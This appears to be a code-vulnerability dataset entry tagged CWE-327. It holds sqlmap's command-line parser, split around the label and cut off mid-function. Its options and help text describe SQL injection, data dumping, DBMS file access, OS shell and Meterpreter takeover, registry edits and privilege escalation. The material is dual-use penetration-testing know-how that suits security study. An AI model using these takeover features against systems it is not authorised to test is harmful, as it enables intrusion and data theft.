        enumeration.add_argument(""--exclude-sysdbs"", dest=""excludeSysDbs"", action=""store_true"",
            help=""Exclude DBMS system databases when enumerating tables"")

        enumeration.add_argument(""--pivot-column"", dest=""pivotColumn"",
            help=""Pivot column name"")

        enumeration.add_argument(""--where"", dest=""dumpWhere"",
            help=""Use WHERE condition while table dumping"")

        enumeration.add_argument(""--start"", dest=""limitStart"", type=int,
            help=""First dump table entry to retrieve"")

        enumeration.add_argument(""--stop"", dest=""limitStop"", type=int,
            help=""Last dump table entry to retrieve"")

        enumeration.add_argument(""--first"", dest=""firstChar"", type=int,
            help=""First query output word character to retrieve"")

        enumeration.add_argument(""--last"", dest=""lastChar"", type=int,
            help=""Last query output word character to retrieve"")

        enumeration.add_argument(""--sql-query"", dest=""sqlQuery"",
            help=""SQL statement to be executed"")

        enumeration.add_argument(""--sql-shell"", dest=""sqlShell"", action=""store_true"",
            help=""Prompt for an interactive SQL shell"")

        enumeration.add_argument(""--sql-file"", dest=""sqlFile"",
            help=""Execute SQL statements from given file(s)"")

        # Brute force options
        brute = parser.add_argument_group(""Brute force"", ""These options can be used to run brute force checks"")

        brute.add_argument(""--common-tables"", dest=""commonTables"", action=""store_true"",
            help=""Check existence of common tables"")

        brute.add_argument(""--common-columns"", dest=""commonColumns"", action=""store_true"",
            help=""Check existence of common columns"")

        brute.add_argument(""--common-files"", dest=""commonFiles"", action=""store_true"",
            help=""Check existence of common files"")

        # User-defined function options
        udf = parser.add_argument_group(""User-defined function injection"", ""These options can be used to create custom user-defined functions"")

        udf.add_argument(""--udf-inject"", dest=""udfInject"", action=""store_true"",
            help=""Inject custom user-defined functions"")

        udf.add_argument(""--shared-lib"", dest=""shLib"",
            help=""Local path of the shared library"")

        # File system options
        filesystem = parser.add_argument_group(""File system access"", ""These options can be used to access the back-end database management system underlying file system"")

        filesystem.add_argument(""--file-read"", dest=""fileRead"",
            help=""Read a file from the back-end DBMS file system"")

        filesystem.add_argument(""--file-write"", dest=""fileWrite"",
            help=""Write a local file on the back-end DBMS file system"")

        filesystem.add_argument(""--file-dest"", dest=""fileDest"",
            help=""Back-end DBMS absolute filepath to write to"")

        # Takeover options
        takeover = parser.add_argument_group(""Operating system access"", ""These options can be used to access the back-end database management system underlying operating system"")

        takeover.add_argument(""--os-cmd"", dest=""osCmd"",
            help=""Execute an operating system command"")

        takeover.add_argument(""--os-shell"", dest=""osShell"", action=""store_true"",
            help=""Prompt for an interactive operating system shell"")

        takeover.add_argument(""--os-pwn"", dest=""osPwn"", action=""store_true"",
            help=""Prompt for an OOB shell, Meterpreter or VNC"")

        takeover.add_argument(""--os-smbrelay"", dest=""osSmb"", action=""store_true"",
            help=""One click prompt for an OOB shell, Meterpreter or VNC"")

        takeover.add_argument(""--os-bof"", dest=""osBof"", action=""store_true"",
            help=""Stored procedure buffer overflow ""
                                 ""exploitation"")

        takeover.add_argument(""--priv-esc"", dest=""privEsc"", action=""store_true"",
            help=""Database process user privilege escalation"")

        takeover.add_argument(""--msf-path"", dest=""msfPath"",
            help=""Local path where Metasploit Framework is installed"")

        takeover.add_argument(""--tmp-path"", dest=""tmpPath"",
            help=""Remote absolute path of temporary files directory"")

        # Windows registry options
        windows = parser.add_argument_group(""Windows registry access"", ""These options can be used to access the back-end database management system Windows registry"")

        windows.add_argument(""--reg-read"", dest=""regRead"", action=""store_true"",
            help=""Read a Windows registry key value"")

        windows.add_argument(""--reg-add"", dest=""regAdd"", action=""store_true"",
            help=""Write a Windows registry key value data"")

        windows.add_argument(""--reg-del"", dest=""regDel"", action=""store_true"",
            help=""Delete a Windows registry key value"")

        windows.add_argument(""--reg-key"", dest=""regKey"",
            help=""Windows registry key"")

        windows.add_argument(""--reg-value"", dest=""regVal"",
            help=""Windows registry key value"")

        windows.add_argument(""--reg-data"", dest=""regData"",
            help=""Windows registry key value data"")

        windows.add_argument(""--reg-type"", dest=""regType"",
            help=""Windows registry key value type"")

        # General options
        general = parser.add_argument_group(""General"", ""These options can be used to set some general working parameters"")

        general.add_argument(""-s"", dest=""sessionFile"",
            help=""Load session from a stored (.sqlite) file"")

        general.add_argument(""-t"", dest=""trafficFile"",
            help=""Log all HTTP traffic into a textual file"")

        general.add_argument(""--answers"", dest=""answers"",
            help=""Set predefined answers (e.g. \""quit=N,follow=N\"")"")

        general.add_argument(""--base64"", dest=""base64Parameter"",
            help=""Parameter(s) containing Base64 encoded data"")

        general.add_argument(""--base64-safe"", dest=""base64Safe"", action=""store_true"",
            help=""Use URL and filename safe Base64 alphabet (RFC 4648)"")

        general.add_argument(""--batch"", dest=""batch"", action=""store_true"",
            help=""Never ask for user input, use the default behavior"")

        general.add_argument(""--binary-fields"", dest=""binaryFields"",
            help=""Result fields having binary values (e.g. \""digest\"")"")

        general.add_argument(""--check-internet"", dest=""checkInternet"", action=""store_true"",
            help=""Check Internet connection before assessing the target"")

        general.add_argument(""--cleanup"", dest=""cleanup"", action=""store_true"",
            help=""Clean up the DBMS from sqlmap specific UDF and tables"")

        general.add_argument(""--crawl"", dest=""crawlDepth"", type=int,
            help=""Crawl the website starting from the target URL"")

        general.add_argument(""--crawl-exclude"", dest=""crawlExclude"",
            help=""Regexp to exclude pages from crawling (e.g. \""logout\"")"")

        general.add_argument(""--csv-del"", dest=""csvDel"",
            help=""Delimiting character used in CSV output (default \""%s\"")"" % defaults.csvDel)

        general.add_argument(""--charset"", dest=""charset"",
            help=""Blind SQL injection charset (e.g. \""0123456789abcdef\"")"")

        general.add_argument(""--dump-format"", dest=""dumpFormat"",
            help=""Format of dumped data (CSV (default), HTML or SQLITE)"")

        general.add_argument(""--encoding"", dest=""encoding"",
            help=""Character encoding used for data retrieval (e.g. GBK)"")

        general.add_argument(""--eta"", dest=""eta"", action=""store_true"",
            help=""Display for each output the estimated time of arrival"")

        general.add_argument(""--flush-session"", dest=""flushSession"", action=""store_true"",
            help=""Flush session files for current target"")

        general.add_argument(""--forms"", dest=""forms"", action=""store_true"",
            help=""Parse and test forms on target URL"")

        general.add_argument(""--fresh-queries"", dest=""freshQueries"", action=""store_true"",
            help=""Ignore query results stored in session file"")

        general.add_argument(""--gpage"", dest=""googlePage"", type=int,
            help=""Use Google dork results from specified page number"")

        general.add_argument(""--har"", dest=""harFile"",
            help=""Log all HTTP traffic into a HAR file"")

        general.add_argument(""--hex"", dest=""hexConvert"", action=""store_true"",
            help=""Use hex conversion during data retrieval"")

        general.add_argument(""--output-dir"", dest=""outputDir"", action=""store"",
            help=""Custom output directory path"")

        general.add_argument(""--parse-errors"", dest=""parseErrors"", action=""store_true"",
            help=""Parse and display DBMS error messages from responses"")

        general.add_argument(""--preprocess"", dest=""preprocess"",
            help=""Use given script(s) for preprocessing of response data"")

        general.add_argument(""--repair"", dest=""repair"", action=""store_true"",
            help=""Redump entries having unknown character marker (%s)"" % INFERENCE_UNKNOWN_CHAR)

        general.add_argument(""--save"", dest=""saveConfig"",
            help=""Save options to a configuration INI file"")

        general.add_argument(""--scope"", dest=""scope"",
            help=""Regexp for filtering targets"")

        general.add_argument(""--skip-waf"", dest=""skipWaf"", action=""store_true"",
            help=""Skip heuristic detection of WAF/IPS protection"")

        general.add_argument(""--table-prefix"", dest=""tablePrefix"",
            help=""Prefix used for temporary tables (default: \""%s\"")"" % defaults.tablePrefix)

        general.add_argument(""--test-filter"", dest=""testFilter"",
            help=""Select tests by payloads and/or titles (e.g. ROW)"")

        general.add_argument(""--test-skip"", dest=""testSkip"",
            help=""Skip tests by payloads and/or titles (e.g. BENCHMARK)"")

        general.add_argument(""--web-root"", dest=""webRoot"",
            help=""Web server document root directory (e.g. \""/var/www\"")"")

        # Miscellaneous options
        miscellaneous = parser.add_argument_group(""Miscellaneous"", ""These options do not fit into any other category"")

        miscellaneous.add_argument(""-z"", dest=""mnemonics"",
            help=""Use short mnemonics (e.g. \""flu,bat,ban,tec=EU\"")"")

        miscellaneous.add_argument(""--alert"", dest=""alert"",
            help=""Run host OS command(s) when SQL injection is found"")

        miscellaneous.add_argument(""--beep"", dest=""beep"", action=""store_true"",
            help=""Beep on question and/or when SQL injection is found"")

        miscellaneous.add_argument(""--dependencies"", dest=""dependencies"", action=""store_true"",
            help=""Check for missing (optional) sqlmap dependencies"")

        miscellaneous.add_argument(""--disable-coloring"", dest=""disableColoring"", action=""store_true"",
            help=""Disable console output coloring"")

        miscellaneous.add_argument(""--list-tampers"", dest=""listTampers"", action=""store_true"",
            help=""Display list of available tamper scripts"")

        miscellaneous.add_argument(""--offline"", dest=""offline"", action=""store_true"",
            help=""Work in offline mode (only use session data)"")

        miscellaneous.add_argument(""--purge"", dest=""purge"", action=""store_true"",
            help=""Safely remove all content from sqlmap data directory"")

        miscellaneous.add_argument(""--results-file"", dest=""resultsFile"",
            help=""Location of CSV results file in multiple targets mode"")

        miscellaneous.add_argument(""--sqlmap-shell"", dest=""sqlmapShell"", action=""store_true"",
            help=""Prompt for an interactive sqlmap shell"")

        miscellaneous.add_argument(""--tmp-dir"", dest=""tmpDir"",
            help=""Local directory for storing temporary files"")

        miscellaneous.add_argument(""--unstable"", dest=""unstable"", action=""store_true"",
            help=""Adjust options for unstable connections"")

        miscellaneous.add_argument(""--update"", dest=""updateAll"", action=""store_true"",
            help=""Update sqlmap"")

        miscellaneous.add_argument(""--wizard"", dest=""wizard"", action=""store_true"",
            help=""Simple wizard interface for beginner users"")

        # Hidden and/or experimental options
        parser.add_argument(""--crack"", dest=""hashFile"",
            help=SUPPRESS)  # ""Load and crack hashes from a file (standalone)""

        parser.add_argument(""--dummy"", dest=""dummy"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--murphy-rate"", dest=""murphyRate"", type=int,
            help=SUPPRESS)

        parser.add_argument(""--debug"", dest=""debug"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--disable-multi"", dest=""disableMulti"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--disable-precon"", dest=""disablePrecon"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--disable-stats"", dest=""disableStats"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--profile"", dest=""profile"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--force-dbms"", dest=""forceDbms"",
            help=SUPPRESS)

        parser.add_argument(""--force-dns"", dest=""forceDns"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--force-partial"", dest=""forcePartial"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--force-pivoting"", dest=""forcePivoting"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--non-interactive"", dest=""nonInteractive"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--gui"", dest=""gui"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--smoke-test"", dest=""smokeTest"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--vuln-test"", dest=""vulnTest"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--bed-test"", dest=""bedTest"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--fuzz-test"", dest=""fuzzTest"", action=""store_true"",
            help=SUPPRESS)

        # API options
        parser.add_argument(""--api"", dest=""api"", action=""store_true"",
            help=SUPPRESS)

        parser.add_argument(""--taskid"", dest=""taskid"",
            help=SUPPRESS)

        parser.add_argument(""--database"", dest=""database"",
            help=SUPPRESS)

        # Dirty hack to display longer options without breaking into two lines
        if hasattr(parser, ""formatter""):
            def _(self, *args):
                retVal = parser.formatter._format_option_strings(*args)
                if len(retVal) > MAX_HELP_OPTION_LENGTH:
                    retVal = (""%%.%ds.."" % (MAX_HELP_OPTION_LENGTH - parser.formatter.indent_increment)) % retVal
                return retVal

            parser.formatter._format_option_strings = parser.formatter.format_option_strings
            parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser)
        else:
            def _format_action_invocation(self, action):
                retVal = self.__format_action_invocation(action)
                if len(retVal) > MAX_HELP_OPTION_LENGTH:
                    retVal = (""%%.%ds.."" % (MAX_HELP_OPTION_LENGTH - self._indent_increment)) % retVal
                return retVal

            parser.formatter_class.__format_action_invocation = parser.formatter_class._format_action_invocation
            parser.formatter_class._format_action_invocation = _format_action_invocation

        # Dirty hack for making a short option '-hh'
        if hasattr(parser, ""get_option""):
            option = parser.get_option(""--hh"")
            option._short_opts = [""-hh""]
            option._long_opts = []
        else:
            for action in get_actions(parser):
                if action.option_strings == [""--hh""]:
                    action.option_strings = [""-hh""]
                    break

        # Dirty hack for inherent help message of switch '-h'
        if hasattr(parser, ""get_option""):
            option = parser.get_option(""-h"")
            option.help = option.help.capitalize().replace(""this help"", ""basic help"")
        else:
            for action in get_actions(parser):
                if action.option_strings == [""-h"", ""--help""]:
                    action.help = action.help.capitalize().replace(""this help"", ""basic help"")
                    break

        _ = []
        advancedHelp = True
        extraHeaders = []
        auxIndexes = {}

        # Reference: https://stackoverflow.com/a/4012683 (Note: previously used ""...sys.getfilesystemencoding() or UNICODE_ENCODING"")
        for arg in argv:
            _.append(getUnicode(arg, encoding=sys.stdin.encoding))

        argv = _
        checkOldOptions(argv)

        if ""--gui"" in argv:
            from lib.core.gui import runGui

            runGui(parser)

            raise SqlmapSilentQuitException

        elif ""--sqlmap-shell"" in argv:
            _createHomeDirectories()

            parser.usage = """"
            cmdLineOptions.sqlmapShell = True

            commands = set((""x"", ""q"", ""exit"", ""quit"", ""clear""))
            commands.update(get_all_options(parser))

            autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=commands)

            while True:
                command = None

                try:
                    # Note: in Python2 command should not be converted to Unicode before passing to shlex (Reference: https://bugs.python.org/issue1170)
                    command = _input(""sqlmap-shell> "").strip()
                except (KeyboardInterrupt, EOFError):
                    print()
                    raise SqlmapShellQuitException

                if not command:
                    continue
                elif command.lower() == ""clear"":
                    clearHistory()
                    dataToStdout(""[i] history cleared\n"")
                    saveHistory(AUTOCOMPLETE_TYPE.SQLMAP)
                elif command.lower() in (""x"", ""q"", ""exit"", ""quit""):
                    raise SqlmapShellQuitException
                elif command[0] != '-':
                    dataToStdout(""[!] invalid option(s) provided\n"")
                    dataToStdout(""[i] proper example: '-u http://www.site.com/vuln.php?id=1 --banner'\n"")
                else:
                    saveHistory(AUTOCOMPLETE_TYPE.SQLMAP)
                    loadHistory(AUTOCOMPLETE_TYPE.SQLMAP)
                    break

            try:
                for arg in shlex.split(command):
                    argv.append(getUnicode(arg, encoding=sys.stdin.encoding))
            except ValueError as ex:
                raise SqlmapSyntaxException(""something went wrong during command line parsing ('%s')"" % getSafeExString(ex))

        longOptions = set(re.findall(r""\-\-([^= ]+?)="", parser.format_help()))
        longSwitches = set(re.findall(r""\-\-([^= ]+?)\s"", parser.format_help()))

        for i in xrange(len(argv)):
            # Reference: https://en.wiktionary.org/wiki/-
            argv[i] = re.sub(u""\A(\u2010|\u2013|\u2212|\u2014|\u4e00|\u1680|\uFE63|\uFF0D)+"", lambda match: '-' * len(match.group(0)), argv[i])

            # Reference: https://unicode-table.com/en/sets/quotation-marks/
            argv[i] = argv[i].strip(u""\u00AB\u2039\u00BB\u203A\u201E\u201C\u201F\u201D\u2019\u0022\u275D\u275E\u276E\u276F\u2E42\u301D\u301E\u301F\uFF02\u201A\u2018\u201B\u275B\u275C"")

            if argv[i] == ""-hh"":
                argv[i] = ""-h""
            elif i == 1 and re.search(r""\A(http|www\.|\w[\w.-]+\.\w{2,})"", argv[i]) is not None:
                argv[i] = ""--url=%s"" % argv[i]
            elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
                dataToStdout(""[!] copy-pasting illegal (non-console) quote characters from Internet is illegal (%s)\n"" % argv[i])
                raise SystemExit
            elif len(argv[i]) > 1 and u""\uff0c"" in argv[i].split('=', 1)[-1]:
                dataToStdout(""[!] copy-pasting illegal (non-console) comma characters from Internet is illegal (%s)\n"" % argv[i])
                raise SystemExit
            elif re.search(r""\A-\w=.+"", argv[i]):
                dataToStdout(""[!] potentially miswritten (illegal '=') short option detected ('%s')\n"" % argv[i])
                raise SystemExit
            elif re.search(r""\A-\w{3,}"", argv[i]):
                if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches):
                    argv[i] = ""-%s"" % argv[i]
            elif argv[i] in IGNORED_OPTIONS:
                argv[i] = """"
            elif argv[i] in DEPRECATED_OPTIONS:
                argv[i] = """"
            elif any(argv[i].startswith(_) for _ in (""--tamper"", ""--ignore-code"", ""--skip"")):
                key = re.search(r""\-?\-(\w+)\b"", argv[i]).group(1)
                index = auxIndexes.get(key, None)
                if index is None:
                    index = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
                    auxIndexes[key] = index
                else:
                    delimiter = ','
                    argv[index] = ""%s%s%s"" % (argv[index], delimiter, argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else """"))
                    argv[i] = """"
            elif argv[i] in (""-H"", ""--header"") or any(argv[i].startswith(""%s="" % _) for _ in (""-H"", ""--header"")):
                if '=' in argv[i]:
                    extraHeaders.append(argv[i].split('=', 1)[1])
                elif i + 1 < len(argv):
                    extraHeaders.append(argv[i + 1])
            elif argv[i] == ""--deps"":
                argv[i] = ""--dependencies""
            elif argv[i] == ""--disable-colouring"":
                argv[i] = ""--disable-coloring""
            elif argv[i] == ""-r"":
                for j in xrange(i + 2, len(argv)):
                    value = argv[j]
                    if os.path.isfile(value):
                        argv[i + 1] += "",%s"" % value
                        argv[j] = ''
                    else:
                        break
            elif re.match(r""\A\d+!\Z"", argv[i]) and argv[max(0, i - 1)] == ""--threads"" or re.match(r""\A--threads.+\d+!\Z"", argv[i]):
                argv[i] = argv[i][:-1]
                conf.skipThreadCheck = True
            elif argv[i] == ""--version"":
                print(VERSION_STRING.split('/')[-1])
                raise SystemExit
            elif argv[i] in (""-h"", ""--help""):
                advancedHelp = False
                for group in get_groups(parser)[:]:
                    found = False
                    for option in get_actions(group):
                        if option.dest not in BASIC_HELP_ITEMS:
                            option.help = SUPPRESS
                        else:
                            found = True
                    if not found:
                        get_groups(parser).remove(group)
            elif '=' in argv[i] and not argv[i].startswith('-') and argv[i].split('=')[0] in longOptions and re.search(r""\A-\w\Z"", argv[i - 1]) is None:
                dataToStdout(""[!] detected usage of long-option without a starting hyphen ('%s')\n"" % argv[i])
                raise SystemExit

        for verbosity in (_ for _ in argv if re.search(r""\A\-v+\Z"", _)):
            try:
                if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit():
                    conf.verbose = verbosity.count('v') + 1
                    del argv[argv.index(verbosity)]
            except (IndexError, ValueError):
                pass

        try:
            (args, _) = parser.parse_known_args(argv) if hasattr(parser, ""parse_known_args"") else parser.parse_args(argv)
        except UnicodeEncodeError as ex:
            dataToStdout(""\n[!] %s\n"" % getUnicode(ex.object.encode(""unicode-escape"")))
            raise SystemExit
        except SystemExit:
            if ""-h"" in argv and not advancedHelp:
                dataToStdout(""\n[!] to see full list of options run with '-hh'\n"")
            raise

        if extraHeaders:
            if not args.headers:
                args.headers = """"
            delimiter = ""\\n"" if ""\\n"" in args.headers else ""\n""
            args.headers += delimiter + delimiter.join(extraHeaders)

        # Expand given mnemonic options (e.g. -z ""ign,flu,bat"")
        for i in xrange(len(argv) - 1):
            if argv[i] == ""-z"":
                expandMnemonics(argv[i + 1], parser, args)

        if args.dummy:
            args.url = args.url or DUMMY_URL

        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.bedTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
            errMsg = ""missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). ""
            errMsg += ""Use -h for basic and -hh for advanced help\n""
            parser.error(errMsg)

        return args

    except (ArgumentError, TypeError) as ex:
        parser.error(ex)

    except SystemExit:
        # Protection against Windows dummy double clicking
        if IS_WIN:
            dataToStdout(""\nPress Enter to continue..."")
            _input()
        raise

    debugMsg = ""parsing command line""
    logger.debug(debugMsg)",CWE-327,sqlmapproject/sqlmap,c4a692abe33d08b4a55fd813116835c08f60ffef,"def cmdLineParser(argv=None):
    """"""
    This function parses the command line parameters and arguments
    """"""

    if not argv:
        argv = sys.argv

    checkSystemEncoding()

    # Reference: https://stackoverflow.com/a/4012683 (Note: previously used ""...sys.getfilesystemencoding() or UNICODE_ENCODING"")
    _ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding)

    usage = ""%s%s [options]"" % (""%s "" % os.path.basename(sys.executable) if not IS_WIN else """", ""\""%s\"""" % _ if "" "" in _ else _)
    parser = ArgumentParser(usage=usage)

    try:
        parser.add_argument(""--hh"", dest=""advancedHelp"", action=""store_true"",
            help=""Show advanced help message and exit"")

        parser.add_argument(""--version"", dest=""showVersion"", action=""store_true"",
            help=""Show program's version number and exit"")

        parser.add_argument(""-v"", dest=""verbose"", type=int,
            help=""Verbosity level: 0-6 (default %d)"" % defaults.verbose)

        # Target options
        target = parser.add_argument_group(""Target"", ""At least one of these options has to be provided to define the target(s)"")

        target.add_argument(""-u"", ""--url"", dest=""url"",
            help=""Target URL (e.g. \""http://www.site.com/vuln.php?id=1\"")"")

        target.add_argument(""-d"", dest=""direct"",
            help=""Connection string for direct database connection"")

        target.add_argument(""-l"", dest=""logFile"",
            help=""Parse target(s) from Burp or WebScarab proxy log file"")

        target.add_argument(""-m"", dest=""bulkFile"",
            help=""Scan multiple targets given in a textual file "")

        target.add_argument(""-r"", dest=""requestFile"",
            help=""Load HTTP request from a file"")

        target.add_argument(""-g"", dest=""googleDork"",
            help=""Process Google dork results as target URLs"")

        target.add_argument(""-c"", dest=""configFile"",
            help=""Load options from a configuration INI file"")

        # Request options
        request = parser.add_argument_group(""Request"", ""These options can be used to specify how to connect to the target URL"")

        request.add_argument(""-A"", ""--user-agent"", dest=""agent"",
            help=""HTTP User-Agent header value"")

        request.add_argument(""-H"", ""--header"", dest=""header"",
            help=""Extra header (e.g. \""X-Forwarded-For: 127.0.0.1\"")"")

        request.add_argument(""--method"", dest=""method"",
            help=""Force usage of given HTTP method (e.g. PUT)"")

        request.add_argument(""--data"", dest=""data"",
            help=""Data string to be sent through POST (e.g. \""id=1\"")"")

        request.add_argument(""--param-del"", dest=""paramDel"",
            help=""Character used for splitting parameter values (e.g. &)"")

        request.add_argument(""--cookie"", dest=""cookie"",
            help=""HTTP Cookie header value (e.g. \""PHPSESSID=a8d127e..\"")"")

        request.add_argument(""--cookie-del"", dest=""cookieDel"",
            help=""Character used for splitting cookie values (e.g. ;)"")

        request.add_argument(""--load-cookies"", dest=""loadCookies"",
            help=""File containing cookies in Netscape/wget format"")

        request.add_argument(""--drop-set-cookie"", dest=""dropSetCookie"", action=""store_true"",
            help=""Ignore Set-Cookie header from response"")

        request.add_argument(""--mobile"", dest=""mobile"", action=""store_true"",
            help=""Imitate smartphone through HTTP User-Agent header"")

        request.add_argument(""--random-agent"", dest=""randomAgent"", action=""store_true"",
            help=""Use randomly selected HTTP User-Agent header value"")

        request.add_argument(""--host"", dest=""host"",
            help=""HTTP Host header value"")

        request.add_argument(""--referer"", dest=""referer"",
            help=""HTTP Referer header value"")

        request.add_argument(""--headers"", dest=""headers"",
            help=""Extra headers (e.g. \""Accept-Language: fr\\nETag: 123\"")"")

        request.add_argument(""--auth-type"", dest=""authType"",
            help=""HTTP authentication type (Basic, Digest, NTLM or PKI)"")

        request.add_argument(""--auth-cred"", dest=""authCred"",
            help=""HTTP authentication credentials (name:password)"")

        request.add_argument(""--auth-file"", dest=""authFile"",
            help=""HTTP authentication PEM cert/private key file"")

        request.add_argument(""--ignore-code"", dest=""ignoreCode"",
            help=""Ignore (problematic) HTTP error code (e.g. 401)"")

        request.add_argument(""--ignore-proxy"", dest=""ignoreProxy"", action=""store_true"",
            help=""Ignore system default proxy settings"")

        request.add_argument(""--ignore-redirects"", dest=""ignoreRedirects"", action=""store_true"",
            help=""Ignore redirection attempts"")

        request.add_argument(""--ignore-timeouts"", dest=""ignoreTimeouts"", action=""store_true"",
            help=""Ignore connection timeouts"")

        request.add_argument(""--proxy"", dest=""proxy"",
            help=""Use a proxy to connect to the target URL"")

        request.add_argument(""--proxy-cred"", dest=""proxyCred"",
            help=""Proxy authentication credentials (name:password)"")

        request.add_argument(""--proxy-file"", dest=""proxyFile"",
            help=""Load proxy list from a file"")

        request.add_argument(""--tor"", dest=""tor"", action=""store_true"",
            help=""Use Tor anonymity network"")

        request.add_argument(""--tor-port"", dest=""torPort"",
            help=""Set Tor proxy port other than default"")

        request.add_argument(""--tor-type"", dest=""torType"",
            help=""Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))"")

        request.add_argument(""--check-tor"", dest=""checkTor"", action=""store_true"",
            help=""Check to see if Tor is used properly"")

        request.add_argument(""--delay"", dest=""delay"", type=float,
            help=""Delay in seconds between each HTTP request"")

        request.add_argument(""--timeout"", dest=""timeout"", type=float,
            help=""Seconds to wait before timeout connection (default %d)"" % defaults.timeout)

        request.add_argument(""--retries"", dest=""retries"", type=int,
            help=""Retries when the connection timeouts (default %d)"" % defaults.retries)

        request.add_argument(""--randomize"", dest=""rParam"",
            help=""Randomly change value for given parameter(s)"")

        request.add_argument(""--safe-url"", dest=""safeUrl"",
            help=""URL address to visit frequently during testing"")

        request.add_argument(""--safe-post"", dest=""safePost"",
            help=""POST data to send to a safe URL"")

        request.add_argument(""--safe-req"", dest=""safeReqFile"",
            help=""Load safe HTTP request from a file"")

        request.add_argument(""--safe-freq"", dest=""safeFreq"", type=int,
            help=""Regular requests between visits to a safe URL"")

        request.add_argument(""--skip-urlencode"", dest=""skipUrlEncode"", action=""store_true"",
            help=""Skip URL encoding of payload data"")

        request.add_argument(""--csrf-token"", dest=""csrfToken"",
            help=""Parameter used to hold anti-CSRF token"")

        request.add_argument(""--csrf-url"", dest=""csrfUrl"",
            help=""URL address to visit for extraction of anti-CSRF token"")

        request.add_argument(""--csrf-method"", dest=""csrfMethod"",
            help=""HTTP method to use during anti-CSRF token page visit"")

        request.add_argument(""--csrf-retries"", dest=""csrfRetries"", type=int,
            help=""Retries for anti-CSRF token retrieval (default %d)"" % defaults.csrfRetries)

        request.add_argument(""--force-ssl"", dest=""forceSSL"", action=""store_true"",
            help=""Force usage of SSL/HTTPS"")

        request.add_argument(""--chunked"", dest=""chunked"", action=""store_true"",
            help=""Use HTTP chunked transfer encoded (POST) requests"")

        request.add_argument(""--hpp"", dest=""hpp"", action=""store_true"",
            help=""Use HTTP parameter pollution method"")

        request.add_argument(""--eval"", dest=""evalCode"",
            help=""Evaluate provided Python code before the request (e.g. \""import hashlib;id2=hashlib.md5(id).hexdigest()\"")"")

        # Optimization options
        optimization = parser.add_argument_group(""Optimization"", ""These options can be used to optimize the performance of sqlmap"")

        optimization.add_argument(""-o"", dest=""optimize"", action=""store_true"",
            help=""Turn on all optimization switches"")

        optimization.add_argument(""--predict-output"", dest=""predictOutput"", action=""store_true"",
            help=""Predict common queries output"")

        optimization.add_argument(""--keep-alive"", dest=""keepAlive"", action=""store_true"",
            help=""Use persistent HTTP(s) connections"")

        optimization.add_argument(""--null-connection"", dest=""nullConnection"", action=""store_true"",
            help=""Retrieve page length without actual HTTP response body"")

        optimization.add_argument(""--threads"", dest=""threads"", type=int,
            help=""Max number of concurrent HTTP(s) requests (default %d)"" % defaults.threads)

        # Injection options
        injection = parser.add_argument_group(""Injection"", ""These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts"")

        injection.add_argument(""-p"", dest=""testParameter"",
            help=""Testable parameter(s)"")

        injection.add_argument(""--skip"", dest=""skip"",
            help=""Skip testing for given parameter(s)"")

        injection.add_argument(""--skip-static"", dest=""skipStatic"", action=""store_true"",
            help=""Skip testing parameters that not appear to be dynamic"")

        injection.add_argument(""--param-exclude"", dest=""paramExclude"",
            help=""Regexp to exclude parameters from testing (e.g. \""ses\"")"")

        injection.add_argument(""--param-filter"", dest=""paramFilter"",
            help=""Select testable parameter(s) by place (e.g. \""POST\"")"")

        injection.add_argument(""--dbms"", dest=""dbms"",
            help=""Force back-end DBMS to provided value"")

        injection.add_argument(""--dbms-cred"", dest=""dbmsCred"",
            help=""DBMS authentication credentials (user:password)"")

        injection.add_argument(""--os"", dest=""os"",
            help=""Force back-end DBMS operating system to provided value"")

        injection.add_argument(""--invalid-bignum"", dest=""invalidBignum"", action=""store_true"",
            help=""Use big numbers for invalidating values"")

        injection.add_argument(""--invalid-logical"", dest=""invalidLogical"", action=""store_true"",
            help=""Use logical operations for invalidating values"")

        injection.add_argument(""--invalid-string"", dest=""invalidString"", action=""store_true"",
            help=""Use random strings for invalidating values"")

        injection.add_argument(""--no-cast"", dest=""noCast"", action=""store_true"",
            help=""Turn off payload casting mechanism"")

        injection.add_argument(""--no-escape"", dest=""noEscape"", action=""store_true"",
            help=""Turn off string escaping mechanism"")

        injection.add_argument(""--prefix"", dest=""prefix"",
            help=""Injection payload prefix string"")

        injection.add_argument(""--suffix"", dest=""suffix"",
            help=""Injection payload suffix string"")

        injection.add_argument(""--tamper"", dest=""tamper"",
            help=""Use given script(s) for tampering injection data"")

        # Detection options
        detection = parser.add_argument_group(""Detection"", ""These options can be used to customize the detection phase"")

        detection.add_argument(""--level"", dest=""level"", type=int,
            help=""Level of tests to perform (1-5, default %d)"" % defaults.level)

        detection.add_argument(""--risk"", dest=""risk"", type=int,
            help=""Risk of tests to perform (1-3, default %d)"" % defaults.risk)

        detection.add_argument(""--string"", dest=""string"",
